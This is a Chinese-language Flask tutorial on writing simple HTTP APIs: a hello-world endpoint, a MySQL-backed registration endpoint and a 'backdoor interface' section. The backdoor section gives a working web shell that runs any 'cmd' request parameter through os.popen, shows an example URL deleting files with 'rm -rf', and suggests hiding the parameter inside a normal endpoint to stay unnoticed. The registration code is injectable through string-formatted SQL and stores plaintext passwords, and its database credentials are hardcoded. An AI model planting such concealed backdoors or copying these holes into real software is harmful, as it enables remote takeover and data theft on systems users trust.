一、开发接口的作用
1、在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功、支付失败。
2、了解接口是如何实现的:数据交互、数据返回
3、开发给别人查看数据,避免其他人直接操作数据库
二、接口开发的步骤
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
三、开发一个简单的接口
1 import flask,json 2 server = flask.Flask(__name__) # 实例化server,把当前这个python文件当作一个服务,__name__代表当前这个python文件 3 @server.route('/index',methods=['get']) # 'index'是接口路径,methods不写,则默认get请求 4 # 装饰器,下面的函数变为一个接口 5 def index(): 6 res = {'msg':'这是我开发的第一个接口','msg_code':'0000'} 7 return json.dumps(res,ensure_ascii=False) 8 # json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False 9 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
运行这段代码,打开浏览器,输入http://127.0.0.1:8888/index,就可以看到如下运行结果:
扫描二维码关注公众号,回复:
1658725 查看本文章
![](/qrcode.jpg)
四、开发一个注册接口
1 import flask,json 2 server = flask.Flask(__name__) 3 @server.route('/reg',methods=['post']) 4 def reg(): 5 username =flask.request.values.get('username') 6 pwd = flask.request.values.get('pwd') 7 if username and pwd: 8 sql = 'select * from my_user where username = "%s";'%username 9 if my_db(sql): 10 res = {'msg':'用户已存在','msg_code':2001} 11 else: 12 insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd) 13 my_db(insert_sql) 14 res = {'msg':'注册成功','msg_code':0000} 15 else: 16 res = {'msg':'必填字段未填,请查看接口文档!','msg_code':1001} 17 return json.dumps(res,ensure_ascii=False) 18 19 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 20 # debug=True,改了代码后,不用重启,它会自动重启 21 # 'host='0.0.0.0'别人可以通过IP访问
my_db()为另外封装的函数,应放在接口上面,具体代码如下:
1 def my_db(sql): 2 import pymysql 3 coon = pymysql.connect( 4 host='192.168.1.112', user='test', passwd='111111', 5 port=3306, db='test', charset='utf8') 6 cur = coon.cursor() #建立游标 7 cur.execute(sql)#执行sql 8 if sql.strip()[:6].upper()=='SELECT': 9 res = cur.fetchall() 10 else: 11 coon.commit() 12 res = 'ok' 13 cur.close() 14 coon.close() 15 return res
使用postman测试结果如下:
五、后门接口
1 import os 2 @server.route('/error',methods=['get']) 3 def cmd(): 4 cmd = flask.request.values.get('cmd') # 接口入参 5 res = os.popen(cmd) # 执行用户命令 6 return res.read() # 返回执行结果 7 # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件 8 # 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口 9 # 默认可以不传,一但传了再res = os.popen(cmd) 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
一个接口文件中可以包含多个接口,只要接口路径不一致即可。但是server.run()一定要放到所有接口最底下,否则,在server.run()下面的接口是不会被运行的。